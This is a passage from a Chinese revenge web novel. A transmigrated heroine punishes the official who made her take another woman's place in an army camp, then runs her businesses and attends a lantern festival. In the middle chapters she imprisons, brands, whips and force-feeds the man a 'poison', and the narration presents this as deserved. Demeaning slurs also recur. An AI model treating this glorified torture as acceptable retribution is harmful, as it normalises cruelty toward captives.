“她能做你的替身，是她的福气！” 向砚辞怎么可能让自己的白月光伤心自责呢，忙劝慰谢婉婉。 “她就是个爱慕虚荣、贪慕荣华的农村女人！ 粗鄙，丑陋，自私，愚蠢！ 就她那模样，十里八乡都没人愿意娶。 眼看我考上了举人，她就巴巴地凑上来，上赶着要当我的妾！ 这样自甘下贱又贪慕虚荣的女人，活着就是浪费粮食！ 你就不一样了。 你美丽，善良，聪慧，却因为父兄的事受了牵连，你这么好的女子，怎么能充军呢？ 她能代替你去，算是她为这个世界做的唯一的贡献了。 说起来，她还应当感谢你，感谢你让她有了做贡献的机会。” 听他这般说，谢婉婉脸上的哀戚和内疚之色总算是消散了些，但她仍愧疚地摇了摇头：“你别这么说，她……或许是你误会她了，我见过她了，她好似也没你说的那么差劲吧。” 她长得并不丑，甚至特别白！ 根本就不似风吹日晒干农活的村姑！ 比世家贵女都白！ 比皇家公主郡主都白！ 白得让她都忌妒。 “什么？你还见过她？！！”向砚辞有些激动地伸出手，去抓谢婉婉的手，做到一半，他生生忍住了，尴尬地收回了手，“什么时候的事？在哪里？” 谢婉婉：“就是前段时日承恩侯府的赏花宴上啊。她有了新名字，陆婉婉。她还有了新身份，陆家旁支的小娘子。还有，她身边跟着的丫鬟，我认识，是我的族妹！” 向砚辞还是不肯相信：“她怎么可能是陆婉婉？关二丫是关二丫，陆婉婉是陆婉婉，或许这世上真有一个陆婉婉呢？” 第100章 刻骨铭心的“好”礼物 说起来，那个陆婉婉他好似见过。 那日在酒楼，她跟楚翊尘走在一处。 她是楚翊尘的徒弟。 同时，是陆家旁支的小娘子。 她的模样他忘记了，毕竟当时，他没有将注意力放在她身上。 他隐约记得，那小娘子似乎生得很白，也很高挑，目中无人的，明显就是娇纵跋扈的高门贵女！ 那样的人，向砚辞无论如何也无法将之和关二丫联想到一处。 毕竟，两人相差太大了，一个在天，一个在地！ 可是谢婉婉却很确定地道：“不，世上原本没有陆婉婉。所谓的陆婉婉，实际上就是关二丫！她们两个是同一个人！我很确定。因为，这是安王派人查清楚，然后告诉我的。” 即便向砚辞再自信，此时见心上人这般笃定，他也有些不确定了。 难道说这世上真有人可以脱胎换骨吗？ “……那你能否描述一下，那陆婉婉长什么模样吗？” =========== 这日，关失越在完成了早上三个时辰的培训后，手累得连筷子都拿不动了。 她端起汤碗喝了一口汤，这时，新提拔的大莹秀丫鬟走了进来：“主子，向郎君送来的拜帖。” 关失越一时没有想起来向郎君是谁，又喝了两口，道：“谁？” 莹秀：“今年才被皇上钦点的探花郎，现在在户部任职的向小郎君。” 关失越：“……扔了！” 莹秀：“……” 天快黑的时候，关失越拿帕子擦汗，莹秀有些迟疑地道：“那个，主子，向郎君又送拜帖来了。” 关失越：“不看！” 莹秀：“需要写个回帖吗？” 关失越：“不回！” 她用脚指头想也知道他是为什么而来的。 他不是想确定她是不是关二丫吗？ 好，她就不配合！ 急死他！ 气死他！！ 不过，他既然这样上赶着，她也得给他准备点“礼物”不是？ 来而不往非礼也。 于是，关失越快速出门，飞快掠到了一处铁匠铺，花了五十两银子，在铁匠铺定制了几样“好”东西！ 那东西，是专门为向砚辞和沈淮瑾这样的贱人准备的。 非常……吸人眼球。 相信他们一定会非常刻骨铭心的！ 就这样过了几天，直到除夕这日，关失越才接了拜帖。 不出所料，向砚辞果然是来求见的。 许是因为晾了他好些天的缘故，向砚辞有些心浮气躁，拜帖里的语气有些不好。 关失越讥诮地笑了笑。 这就沉不住气了？ 这还只是个开始呢！ 她的复仇，还没正式开始呢！ 不如，就从今年的除夕夜开始吧。 她会给他一个永生难忘的除夕夜的。 “我没时间回帖子，你帮我回吧。就说……我今日有时间，让他在今日之内过来。否则，过时不候。”关失越对莹秀道。 莹秀想说今日是除夕，让人过来怕是不好，但想到自家主子大方，赏罚分明，她立马道：“是！婢子这便去写！” “嗯。”关失越点了点头，“哦对了，今日是除夕，吩咐厨房，做几桌好吃的，咱们府里所有人都来吃席！ 另外，你去把那木匣子拿来，给府里的每个丫鬟婆子、家丁、马夫等人发赏银。 每人就……前两日大家救火辛苦，又帮着搬了尸首，每人十两。 当日出了大力气的，再另行多发十两。” 莹秀脸上立马露出了欢喜的神色：“谢主子！主子万福！！” 关失越：“你这回功劳最大，我私下里再给你添十两。” 二十两再添十两，那不就是三十两了？ 天啊！ 过个年，竟然能拿到这么多赏赐！！ 莹秀立马狗腿地跪了下去，抱住了关失越的大腿：“主子你真好！婢子以后必定给主子鞍前马后、赴汤蹈火！” ======== 除夕是盘账的时候。 关失越练武只练了上午，下午便结束了课程，待在书房里翻开谢七娘送来的账册。 她的胭脂铺子不过才开了十来日，却有了不菲的收入。 肥皂香皂一上市，就在京都贵族圈扬名了，被一抢而空。 价格相当不错。 利润相当高。 高到让关失越感觉自己是天下第一大奸商。 “……总共是五万八千七百八十三两，你看看。” 谢七娘将账算好，账册放到关失越跟前。又将装钱的三个木箱子打开，指着事先整理好的银子给关失越看。 “这是五十两的银锭子，这是一百两的银锭子。这边这个箱子里的是金锭子。这一个箱子里的则是铜钱。主子你点下数。” 看着三箱子满满当当的钱，关失越坐不住了，忙站起来，三步并作两步来到箱子跟前，伸手摸了摸金锭子，然后再摸银锭子。 啊啊啊啊啊，有钱了！ 她有钱了！！ 不是靠着坑蒙拐骗来的钱，也不是仗着千里及的势讹来的钱，而是她靠着自己的知识和精准的用人眼光，赚来的！ 啊啊啊啊啊，没想到她这么厉害！ 竟然能有发大财的一天！！！ 啊哈哈哈哈哈…… “点数，我点数。嘿嘿。”关失越抑制不住嘴角的笑，才点了一会儿，看向谢七娘，“哦对了，之前说好了，那个店铺的收入给你一成的分成。我说到做到。等下这账若是没问题，你就应该得……五千八百多两！” 谢七娘也抑制不住嘴角的微笑：“谢谢主子！谢谢！” 在半年前，她以为自己会烂死在军营，然而，这个人出现了！ 这个人就跟天神一般，将她从沼泽里拉出来，让她跟着她学武功、学简单却实用的安身立命的本事。 她还给她钱！ 做梦也不会想到，自己竟会有这样的一日！ 这一切，都是这个人给她的。 她就是她谢萋萋的再生父母！ ========== 这个除夕，整个陆宅的下人们都坐在一块儿吃席，个个脸上都洋溢着喜悦的笑容。 关失越说了几句勉励的话，又让莹秀和谢七娘一起给每人赏银。 众人得到赏银，连连给关失越磕头道谢，又是一阵欢天喜地。 向砚辞就是在这样的时刻进来的。 听着四下里下人们欢天喜地的道谢声、恭维声，向砚辞一时有些怀疑自己是不是走错了地方。 走过回廊，来到花厅，在见到上首的关失越时，向砚辞的这个怀疑越发加深了。 眼前的小娘子肌肤胜雪、身姿婀娜，容颜清秀，高挺的鼻子上一双幽深漆黑的大眼睛，无论从哪里看，都不像那农女关二丫！ 可是，这么大的事，安王是不会搞错的。 她就是关二丫！！ 第101章 果真是她！ 于是，他不由再又仔细看了关失越几眼，试图从中寻找到两人的相似之处。 功夫不负有心人，还真让他找到了些相似之处。 比如，眼睛。 关二丫的眼睛很大，眼前的人的眼睛比关二丫的好似又稍微大了一点点、灵动了一点点而已。 眼型基本对得上。 当然，当时的关二丫才十五，女大十八变，眼睛大了一点点也正常。 再比如：脸型。 以前的关二丫因为黑糙，因为矮壮，那张脸看起来也有些显大，而实际上，跟眼前的这张脸是基本相同的。 这张脸好似稍微小了一点点，柔和了一点点，更有立体感一点点，但基本轮廓，还是一样的。 另外，耳朵、鼻子、嘴巴、眉毛……等部位，虽说跟以前的关二丫略有一点点改变，但大体还是没有变的。 只是不知为何，她的脸还是那张脸，五官还是那些五官，每样只是改变了一点点，加上皮肤白了，她整个人看起来就明显不一样了。 以前的她，矮矬黑土壮蠢。 如今的她，妥妥一白富美，贵不可言。 难怪当时在酒楼门口，他没有认出她来！ 再加上她长高了许多，身形又苗条了许多，便是她的亲娘来了，怕是也认不出吧！ “向秀才盯着我看这么久，不觉得冒犯吗？”关失越嘴角微勾。 这声音，没有怎么变。 是她！ 她果真是她！！ 他前些天竟没听出来！！ 只是，她到底经历了什么？怎么会有这么大的变化？！！ “你是关二丫？”向砚辞道，“你真的是关二丫！你为什么会出现在这里？还变成了……陆婉婉？” 关失越没有为向砚辞答疑解惑的想法，更不会为了这样的人浪费时间，她开门见山地道：“你几次三番给我递拜帖，是想做什么？” 向砚辞还沉浸在“她怎么会是关二丫、关二丫怎么会变成这样”的想法里，因此回答得有些敷衍：“就是想来证明一下。婉婉说……” “是谢婉婉吗？”关失越语气说不出的淡漠，有一些冷，“向秀才你真是好样的！ 皇上都下旨了要充军的人，愣是被你李代桃僵保了出来，还将她带到京都来，放她大摇大摆地出去，和她的那些儿时玩伴一块儿玩，你是一点儿不担心传到皇上的耳朵里啊！ 厉害！ 你的人头即将不保，你的九族即将因为你的欺君之罪而被斩首示众，你死到临头了，却还在想着一些无关紧要的事，真让我大开眼界啊！！” 是她！ 真的是她！！ 她为什么会变成这样？！！ 向砚辞还是抑制不住满心的震惊，他努力将这份情绪平复，让自己平静下来：“是，我是欺瞒了陛下，可你们呢？ 你不也一样吗？ 你明明是关二丫，却说自己是‘陆婉婉’。 咱们现在可谓是半斤八两。” 言下之意便是，别想以此拿捏我！ 你要是去告发我，你自己也讨不了好！ “就你这样的人，应当没有那个面见陛下的机会吧？” 便是有，沈世子和安王也不会让她见到！ 她一个弱女子，安王有的是法子能让她悄无声息地消失。 向砚辞越说越顺溜：“退一万步讲，就算你侥幸有了面见圣上的机会，陆将军也会千方百计除掉你的。 你以为你叫陆婉婉，就真的是陆家人了吗？ 你不过就是个营妓，你就只是陆将军的一颗棋子而已！ 而且，还是死棋！” 关失越就笑了：“死棋？” 向砚辞觉得被自己说中了，脊背挺得更直了，负手背在身后，脖子仰着，仿佛一只高傲的白天鹅。 “是啊，你是死棋。” 向砚辞目光有些怜悯地看着关失越。 “这是朝廷里的大事，你一个乡下农女，肯定不知晓这里面的弯弯绕绕。 看在咱们是同乡的份上，我不妨告知你一二。 你听好了，否则，你自己是怎么死的都不知道！” 关失越又笑了。 “我不是在危言耸听！ 你肯定不知晓，圣上和陆之斐君臣互相猜忌、互相防范的事。 毕竟，他们表现出来的可是君臣一心！ 但，这只是他们故意做出来，让所有人都这么认为的假象。 官场上的事，朝廷上的事，向来如此。 你不懂很正常。 我告诉你，那陆之斐表面上看起来风光霁月的，实际上，却是让他的族兄陆之涯成立了一个杀手组织。 那个杀手组织叫千里及，不仅杀人，还四处搜集情报，搜集的情报都是关于圣上的！ 陆之斐想造反。 他以为他做得天衣无缝，可惜，陛下的摇光卫也不是吃素的。 你可能不知晓，陛下为了监察百官，成立了一个情报组织，叫摇光台。 摇光台的摇光卫个个厉害得很，许多贪官污吏，许多通敌叛国的坏人，都逃不过摇光卫的法眼！ 如今，摇光台在咱们赤霞府设了分阁，他们就是圣上专门为陆之斐准备的‘大礼’！ 以摇光卫的实力，想来手里已然有了不少陆之斐的罪证了。 只等打完和轩辕的这场仗，圣上便会对陆之斐出手。 而你，作为陆家人，你只会被他连累！ 到时候，你肯定又逃不了一个发配充军的下场。” 关失越原本以为他能说出些什么有用的信息来，结果，就这！ 他还是没变，将她当傻子骗！ “‘又’是什么意思？什么叫‘又’？难道我以前也被发配充军过？嗯？” 向砚辞：你现在难道不是营妓吗？我虽不知晓你是靠着什么法子来京都的，但你就是充军了！！ 关失越：“两年前被发配充军的是谢婉婉，可不是我！ 结果，你不想让谢婉婉去受那个罪，便打上了我的主意。 你故意到我们村来，故意与我巧遇，故意让我嫁你，其实，都是为了让我给你的白月光顶罪。” 被关失越这般直白地说出来，向砚辞也不装了：“那事，是我做得不对。 我向你致歉。 可是，我也是没有办法啊！ 婉婉她生来就千娇万宠的，她又瘦弱美丽，她哪里能去做营妓？ 像她那样的，怕是一进去就会被折磨死。 可你就不一样了，你从小做惯了农活，身体好，身子也壮实，你肯定能…… 而且，你长成那样，一般的男子肯定不会对你有非分之想，你在那里也安全。” 第102章 还是斩草除根吧！ 照着这人的逻辑，她身体好，她长得丑，她出身卑微，就该给人顶罪。 都这个时候了，他竟还是这般理所当然！ 他对关二丫是一丝一毫愧疚的心都没有啊！ 一股莫大的悲愤从心底升起，将关失越包围。 “我丑，我穷，我没有权势，我没有能力，所以就活该为那长得好的，有权势的，有能力的人受罪吗？”关失越倏地出手，一把捏住了向砚辞的下巴，“那现在，没有能力的人变成了你了！接下来我的回礼，你就好好‘受’着吧！” 说着，关失越手指下滑，一把揪住了向砚辞的衣襟领口，将他拖死狗一样，往地牢里拖。 这间镇国大将军特意为她准备的宅子并不是一般的宅子，宅子里还设有地牢。 上回她从承恩侯府带回来的那两个人，便是关在地牢里的。 如今，那两人被沈淮瑾用十万两银子换走了。 不过，她该审的已经审过了，从他们嘴里也得到了足够都的信息。 向砚辞被关失越这般对待，大怒。 他拼命反抗，结果却发现一点用都没有！ 他挣不开！！！ 他震惊了。 他一个男人，竟被打不过一个女人！ 丢人啊！！！ 于是，他越发用力挣扎。 可没有用，他愣是被一个女人拖死狗一般在地上拖行！！！ 该死的，这个农女力气怎么这么大？ 他可是男人！ 他还是朝廷官员！！ 她怎么敢这样对他？！！！ 想到这里，向砚辞大声道：“大胆泼妇！我乃大夏官员，朝廷命官！你这般……这般以下犯上，就不怕大夏律法吗？我不会放过你……” “啪！” 关失越帅给他一个响亮的巴掌。 向砚辞眼里冒出了火星子：“我进来的时候有不少人看见，若是我有个什么三长两短，你也逃不过杀官员的惩罚！你知道大夏对你这种行为的惩罚是什么吗？我劝你最好是……” 关失越又甩给了他一个巴掌。 向砚辞牙齿咬得咯吱作响，眼眶通红，却再不敢说什么了。 这下安静了。 刚刚浪费了她那么多时间，她得抓紧了！ 把时间浪费在这样的人身上，不值得！ 于是，关失越加快了脚步。 不多时，关失越就将向砚辞拖到了地牢。 因着今日是除夕，因此，地牢里并没有人。 关失越只得自己动手了。 她将向砚辞捆上了手铐脚铐，在他脖子上也套了一条拴狗的铁链，然后，两只手分别抓着向砚辞的一边衣襟，用力一扯！ 刺啦几声声响，扯开了向砚辞的衣服。 顿时，向砚辞赤裸的上半身便露了出来。 向砚辞又怒又怕：“你要做什么？！你个荡、妇！妖女！！我告诉你，你休想做什么？否则，我会让你死无葬身之地！！” 关失越没有回话，只专心地在打铁铺用的火箱跟前忙活。 她先是将火烧起来，然后，将从铁匠铺那里定制来的七块小铁片丢在火里，充分加热。 铁皮不算厚，也不大，因此很快就被烧红了。 关失越拿着火钳在里面扒拉了一会儿，找到其中一块印着“我”字的铁片，夹起来，走到向砚辞跟前。 向砚辞原本还在慨慷激昂地骂人，见状，脸都白了，整个人都在发抖：“你……你……我是朝廷命官！我们是同乡！你做事之前就不先想想你的家人吗？你难道不怕……啊啊啊啊啊！！！！” 烧红的烙铁落在了向砚辞的右侧胸口上方，脖颈下一点点。 向砚辞疼得晕了过去。 关失越感觉时间差不多了，才将第一片铁片丢下，从火炉里翻找出第二块、第三块、第四块…… 按次序分别烙在了向砚辞的左右腿上。 且，左右对称。 位置也是相当刁钻。 很隐秘的，只要不脱衣服，根本看不到。 向砚辞疼得晕了醒，醒了又晕，死去活来，心里的恨此时达到了顶峰：“贱人！有本事你就杀了我！！” 关失越对上他恨到极致的目光，冷笑一声：“恨是吧？ 原来，你也知道恨啊？ 我还以为，像你们这种自私自利，高高在上，觉着弱者就活该被欺负的人是不懂恨的呢！ 我今日对你所做的这些，远不及你对我所做的那些事的万分之一呢！ 记住你现在的心情，再换位思考一下，当年的我是什么样的心情！” 向砚辞觉得自己受到了莫大的羞辱：“我跟你能一样吗？我是秀才！是举人！！是大夏官员！！！而你，不过一个丑陋的、毫无能力的乡野村姑罢了！！要怪就怪你自己不行！” 关失越：“哦，是吗？ 可惜，我现在已经不是乡野村姑了呢！ 我现在地位比你高，能力比你强。 按照你的逻辑，弱肉强食。 我想怎么对你就可以怎么对你，要怪就怪你自己能力不如我，不是吗？” 向砚辞：“……” 关失越做完了今日该做的一切，心情很好，这才有空与向砚辞“谈心”。 “哎，你怎么这副哀莫大于心死的模样？绝望了？” “哎呀好啊！我终于也让你体验到了一把这绝望的滋味了！” “说起来你还得感谢我啊！” “若不是我，你这一辈子怎么会知晓‘绝望、愤怒’是什么滋味呢？” “难过了？” “有什么好难过的？不过是弱肉强食罢了！” “你自己弱，你自己不行，就得接受被欺凌、被践踏的命运！” “这不是你自己说的吗？嗯？” “现在，我不过是将你当年加诸在我身上的痛苦，如数还给了你而已！” “这就受不了了吗？” “那你可以想象我这些年所受到的苦楚了吧？” “哦对了，还不够！” 说到这里，关失越在地牢里转了一圈，找出了一条还带着血迹的鞭子，走到了向砚辞跟前。 “你知道做营妓的女人，身上基本没一块好肉吗？关二丫所经历过的痛苦，怎么能少了你呢？” 说着，关失越举起鞭子，狠狠地抽打向砚辞。 剧烈的疼痛让向砚辞再度大叫：“你不能这样对我！我可是大夏官员！！婉婉会来救我的！安王不会放过你的！！到时你就……啊……” 关失越手上动作丝毫不停：“是吗？那你不妨睁大你的狗眼好好看看，那安王会不会来救你。” 向砚辞：“你别得意！你不过是暂时……你会后悔的！我会让你付出百倍、千倍的代价！” 关失越似乎想到了什么，手上动作停了下来。 向砚辞见状，心里好受了些：“你若是现在收手，跪下来求我原谅，且乖乖地回到军营去，我还可以看在以往的情分上，考虑不报复你。” 关失越笑了：“你说得对，你是官，我是民。 我如此折辱你，鞭打你，报复你，你肯定恨死了我。 你跟我一样，都是睚眦必报的小人。 你若是出去了，肯定会加倍报复我！ 所以，思来想去我还是…… 斩草除根吧！” 第103章 可惜，她不是恋爱脑 见她用最温柔的语气说着铲草除根这样的狠话，向砚辞顿时被吓出了一身冷汗！ 汗水沾湿鞭痕和烙恨，那感觉，越发酸爽！ 但是，此时的向砚辞已然顾不得这么多了，他眼里盛满了恐惧，脸上少见地出现了一丝乞求之色，双腿一软，跪了下去。 这一跪，扯动了手上脚上的铁镣，铁镣接触到的肌肤都被磨破了皮，但他根本就顾不上！ “我错了，二丫，我错了！ 你那么喜欢我，我却利用你的喜欢骗了你！ 我知错了！ 我就是一时被谢婉婉那贱人迷惑了双眼！ 我保证以后再不会了！！ 我们是夫妻啊！ 你放了我，我以后好好待你，就守着你一个人，再不去见谢婉婉那贱人了，好不好？ 对了，那谢婉婉如今已经被我赶出府了！ 你以后就是我唯一的女人……哦不，你就是我的妻子！ 我娶你，明媒正娶，八抬大轿娶你，我们好好过日子，好不好？” 关失越心头冷笑不止。 好家伙！ 就这反应，就这能屈能伸的性子，就这颠倒黑白的本事，难怪原主会被他骗，落到那样的下场！ 别说，还真的挺能说服人的。 只可惜，她是关失越，不是原主关二丫。 更不是个恋爱脑！ 他想以此来迷惑她，可惜，这正好中了她的圈套！！！ 关失越假装一副被说动，左右为难的模样：“真的吗？” 向砚辞见状，松了一口气，心道她还是没有变，还跟以前一样蠢！ 他心里只有婉婉一个人，怎么可能跟这个丑八怪？！ 而且，这死女人如此待他，他怎么可能原谅？ 他要砍断了她的手脚，将她剥皮抽筋、五马分尸，方能解他的心头之恨。 向砚辞心底盘算着，面上却是一副深情款款的模样：“我知道，你今日这般对我，都是因为心里有气。 我理解。 我原谅你了。 只要你向我保证，你以后再不这样了，我就不计较今日的事了。 二丫，我现在可是大夏官员！ 你嫁给我，就能做官夫人了！ 到时我们和和美美的，我再继续努力，争取给你挣个诰命回来！ 到时我们风风光光衣锦还乡，你家里人肯定也会为你高兴的！ 你的兄弟姐妹们，也能因为你沾光！ 到时我还可以拉扯他们一把，让你关家全族都跟着你光耀门楣！ 二丫，你说这样好不好？” 关失越似乎真的被说动了，神情有些怔忡：“可是我对你做了这样的事，你真的不怪我？” 向砚辞担心她恢复理智，忙道：“我不怪你！不怪！！因为我知道，这一切都是因我而起的！若不是我当初那样对你，你也不会来报复我……” “对！太对了！！是你不好！！都是你害的！！！”关失越仿佛被摁到了某个开关，情绪再次失控，一鞭子又抽了下去，“贱人！说，你当初怎么对我的？！把你当初做的那些事，给我一五一十重复一遍！” 向砚辞被打得龇牙咧嘴，他想骂人，但却又害怕惹到了眼前这个女疯子。 是的，他觉得，关二丫疯了！ 只有疯子才会像她一样，一会儿清醒，一会儿疯魔！！ 面对疯子，只能忍……以及演戏。 于是，向砚辞脸上露出了追悔莫及、痛心疾首、改过自新的模样，顺着关失越的话道：“对不起！我不是人！我就想着你反正身体壮实，又做惯了农活，还长得丑……” “啪！” 关失越一鞭子又抽了过去：“难道我身体壮实，我长得丑，就活该给人顶罪吗？” 向砚辞被打得身子抽搐，嘴巴比大脑更快，道：“不是的！一个人身体好长得丑，那也是人！都是爹生娘养的，都不该去给人顶罪！我错了！” 关失越满意了些：“这还差不多。继续说，你还错在哪儿了，说清楚些！” 于是，向砚辞只得绞尽脑汁，将自己放在关二丫的立场，代入了关二丫，细细述说自己的罪状：“那当时满心欢喜要嫁给我，而我却将你送入了军营！军营里的糙汉那么多，而营妓又少，你去了，肯定是……” 他说得对了，关失越就适时给些正面的反馈，比如说：垂头不语、点头、感动到流泪、感动得红了眼眶等等。 他要是将自己的罪行剖析得不够真诚，不够有深度等，关失越就会一鞭子下去，让他尝尝惹到疯批的下场。 于是向砚辞只得对自己的罪行进行了由浅入深、由表及里的深层次的剖析。 说得对了，又会得到正面反馈。 说得不对，便会得到疯批加倍的报复，并让他重新自我批判、自我剖析。 如此周而复始、循环往复…… 就这样，这一年的除夕夜就这般过去了。 新年到了。 但关失越仍然没有放向砚辞离开。 用她的话说，就是“我不知晓你是不是又在骗我。毕竟你已经骗了我好多次了。所以，我还要考虑考虑”。 于是，就这样，关失越一直“考虑”了整整三天四夜！ 正月初四天刚蒙蒙亮，关失越终于“考虑”清楚了，决定放了向砚辞。 在放他之前，关失越做出一副矛盾挣扎的模样。 “我很想相信你的，可是……” “我说过一万次了，我是绝对绝对绝对不会报复你的！我还要跟你成亲！！你到底要我怎么样你才能相信我？！”被囚禁折磨了三天四夜的向砚辞精神都快崩溃了。 关失越：“你吃了这颗毒药，我就信你。 你放心，解药我这里有。 只要你乖乖听话，并保证对我好，不再见谢婉婉那贱人，我便将解药给你。” 向砚辞被折磨得已经三天三夜都没合过眼了！ 且，此时的他身上的伤都化脓了！！ 此刻的向砚辞又痛又累，又饿又怕，脑子里只剩下了“快逃！只要能离开这里我什么都能答应”的念头，于是不假思索地道：“好，我吃。” 话音一落，他就感觉自己的下巴被捏住了，嘴巴里被塞了一颗药丸进来。 他啥也不想就将药丸咽了下去。 吞下药不久，向砚辞就晕了过去。 第104章 可耻的烙印 大功告成，关失越嘴角勾了勾，打开了锁链，将他的衣服扯回原位，拽着他的一条腿，如来时一般，拖死狗似的将他拖了出去。 “找个马车来，将他装上，拉回他家里。”关失越对等在外面的谢七娘道。 “是！主子！！”谢七娘想了想，道，“路上需要避着些人吗？” 关失越：“不需要。” 谢七娘：“若是遇上了与他认识的人……” “没事，就说他在咱们府上作客，喝醉了。”关失越道。 谢七娘：“……是！” ========= 关失越发现，今日的格斗训练比起以往，显得格外轻松，于是，她朝着楚翊尘道：“你没吃饭吗？” 结果，这一下把楚翊尘惹怒了。 楚翊尘一记冷笑，随即，一脚狠狠地踹了过来。 这一脚又快又急，又重又狠，关失越被踹出了十几米远！ 倒地的前一瞬，关失越身子灵活地在地上滚了几圈，然后，躺着，观察了一下天色。 此时，乌云散开，太阳出来了，即将到午饭时候。 想着很快就能吃到香喷喷的五花肉、水煮鱼，关失越吞了吞口水。 “怎么样？” 突然，头顶上方出现了一张关切的脸。 楚翊尘眼里有掩饰不住的慌乱紧张，手在关失越身上摸了摸。 下一瞬，楚翊尘一个不慎，身子悬空，和关失越换了个位置。 楚翊尘躺在地上，惊愕不已。 关失越则用右腿膝盖顶住了楚翊尘的肚子上，笑得很是灿烂：“你输了！” 楚翊尘眼里飞快闪过一抹欣喜之色，很快便消失不见。他刻意将扬起的嘴角压下：“那是我刚刚没注意，才被你钻了空子。下回可没这样的好事了！” 说罢，他腰身一个鲤鱼打挺，同时出手。 关失越被他打得快速逃窜。 楚翊尘嘴角再次不受控制地上扬，眼里满是欢喜和欣赏之意。 瞧瞧他多有眼光！ 这女人不但聪明，还刻苦，跟他不过才练了两年就有了不小的成就，简直就是个天才！ 训练完毕，楚翊尘问关失越：“两年前那事，沈淮瑾和向砚辞两人半斤八两，你为什么用截然不同的方式来对付他们俩？” 关失越：“我当时不是没想到那个办法吗？” 楚翊尘：“你还想对沈淮瑾也……” 关失越：“若是有机会，我肯定会的！” 楚翊尘嘴角不由上扬，怎么也压不下来。 ========= 向砚辞在被送到家的前一刻就醒了。 醒过来的向砚辞只来得及吩咐下人请大夫，便又晕了过去。 这回晕过去后，向砚辞就睡了三天三夜。 在这三天里，向砚辞一会儿觉得自己在被火烧，一会儿觉着自己掉入了冰冷的寒潭里，一会儿在自己抽打自己，一会儿又和女子做着那种香艳的事情…… 梦境与现实互相渗透，反复交融。 等醒过来后，他的记忆就发生了些错乱和部分缺失。 他只记得几个零星的画面。 他诚心诚意地忏悔。 他自己扇自己巴掌。 他痛哭流涕，说自己以前坏透了。 他还抓起被烧得通红的铁片，往自己身上烫…… 向砚辞大惊，忙褪下自己的裤子。 下一刻，他惊恐地发现，自己的两条大腿，内侧靠上的位置，竟如记忆中一般，烙上了烙印！ 仔细一看，那烙印上分明还刻有字！ 他就如同那些被刺字的犯人一样！ 他是大夏官员啊！ 他怎么能跟犯人一样被刺字呢？ 他只觉着眼前一黑，加上好几天没吃喝了，于是，又晕了过去。 等到再次醒来的时候，时间已经来到了正月初十了。 事情过去了整整十天了！！！ 向砚辞这回没有急着去看自己大腿上的刺字，而是先吃了东西，等力气恢复了，才表示要沐浴。 等沐浴的时候，他终于看到了那七个字。 这回他做了充足的准备，没有再晕过去。 但是，他脸色惨白，恨不能再晕一回呢。 完了！ 完了！！ 他这一辈子，彻底地完了！！！ 他再也配不上他的婉婉了。 想到这里，向砚辞狠狠给了自己几个耳光。 他当时怎么就做了这样的事呢？ 该死的脑子！ 该死的愧疚！！ 这一切，都怪那关二丫！ 都怪她！ 她若是早些放了他，他至于因为愧疚而主动给自己身上烙这么可耻的烙印吗？ 关二丫，你给我等着！！！ ========== 转眼就到了元宵节。 元宵节，也叫花灯节。 在这一日，整个京都会挂满了各式各样的花灯，还会有人放烟花，这一日是一年中最热闹喜庆的一日，在这一日，几乎所有的人都会从家里走出来，来到街上赏灯。 东风夜放花千树。 街头热闹得厉害。 被这个时代的元宵节味所吸引，关失越也走上了街头。 这是她从未见过的元宵节。 到处都是火树银花的景象，各种卖小吃的摊贩们，小孩子们的欢笑声，男男女女们那青春暧昧的拉扯感……置身其中，让人自动自发地升起了一种幸福的感觉来。 “主子你看，那个兔子花灯真好看！”莹秀的声音在左侧响起。 “那个凤凰花灯才是最好看的！！主子你说是不是？”谢七娘的声音在右侧响起。 两人各执一词，纷纷让关失越评判，关失越：“都好看！各有各的美！不过我个人更喜欢那边那只凤凰花灯。” 谢七娘见关失越站在了自己这边，得意地扬了扬下巴，笑得明媚极了。 “那主子，咱们去看那凤凰花灯吧！” “好啊！” 于是，主仆三人朝着凤凰花灯走去。 今夜的人实在是太多了，挤挤挨挨都是人，接踵摩肩的，堪比现代的旅游黄金周。 主仆三人险些走散了。 好不容易挤到跟前，就发现这是一处茶楼，这只漂亮的凤凰花灯就挂在茶楼的三楼，迎风招展，引得无数男女老少都追逐而来。 此时，茶楼正在搞猜灯谜活动，因此，被人围了里三层外三层。 “主子，咱们也去猜吧！咱们若是得了头名，那只凤凰花灯便归咱们了！” 很快就打探到消息的谢七娘眼里仿佛有了光，这让她整个人都活泼了起来，终于有了丝少女的感觉了。 关失越被这青春的气息晃花了眼，一时觉着好像回到了年少轻狂的岁月：“好！咱们去猜！争取把这个花灯赢回来！” 第105章 光芒万丈（1） “太好了！”谢七娘拉着关失越往里面挤。 “好好好！”莹秀紧随其后，快乐得像个小孩。 不远处，谢婉婉看到了这一幕，嘴角勾起了一个轻蔑的弧度。 就她和谢七？ 呵呵，两个被男人玩烂了的营妓，也配肖想这凤凰花灯？ 这么多年来，整个京都的贵女们谁不知晓，每年元宵节最好的花灯，最后都会成为她谢婉婉的？ 她们俩，一个旁支，一个农女，竟也想从她谢婉婉手里抢食？！ 真是可笑！ 她今日就要让这两个军妓好好看看，看她们是如何败在她大夏明珠的脚下的！ 想到这里，谢婉婉娇羞地扯了扯身边安王的袖子：“殿下，这里在猜灯谜，咱们要不要也去玩？” 美人脉脉含情地望着自己，戴着狐狸面具的安王哪里能拒绝，道：“好啊！以前每年你都是猜灯谜的头名，本……我已经迫不及待想要再目睹你大杀四方的风采了！” ========= 此次报名参加猜灯谜的人不少，但好在茶楼掌柜经验老道，让人设了初选、复选等门槛。 如此一来，就能刷下一大半。 成功晋级的才能被掌柜请到店铺里面的比赛现场。 关失越、谢七娘主仆顺利晋级，两人宛如志同道合的闺蜜一般，手挽着手开开心心进去了。 然后，她们看到了谢婉婉。 仇人相见，分外眼红。 谢婉婉给了她们一个不屑的眼神。 关失越挑了挑眉，将目光落到了谢婉婉身侧的男人身上。 男人看上去约摸二十岁左右，脸上戴了一张狐狸面具，让人看不出面容来，但是他身形和气质都是极好的。 用一个成语来形容，约摸就是龙章凤姿。 从其举手投足间自然流露出的矜贵傲然来看，关失越猜测，这人应当就是安王了。 谢婉婉有这样的人做靠山，不好动啊！ 不过…… 不知是不是她的错觉，她总觉着谢婉婉身侧这安王的身形看起来好似有点熟悉，似乎在哪里见过。 在哪里呢？ 一时想不起来，关失越也不想了，今日是元宵节，就好好过好当下吧，以后的事就留到以后再去操心吧！ “我宣布，猜灯谜比赛，开始！” 随着茶楼掌柜一声喊，关失越和谢七娘忙大步走向离她们最近的灯笼，翻看上面的谜题。 大禹称王，打一节气。 谢七娘冥思苦想，关失越却是立马回答了出来：立夏。 谢七娘两眼放光，手指不自觉地抓紧了关失越的手：“啊！你好厉害啊！” 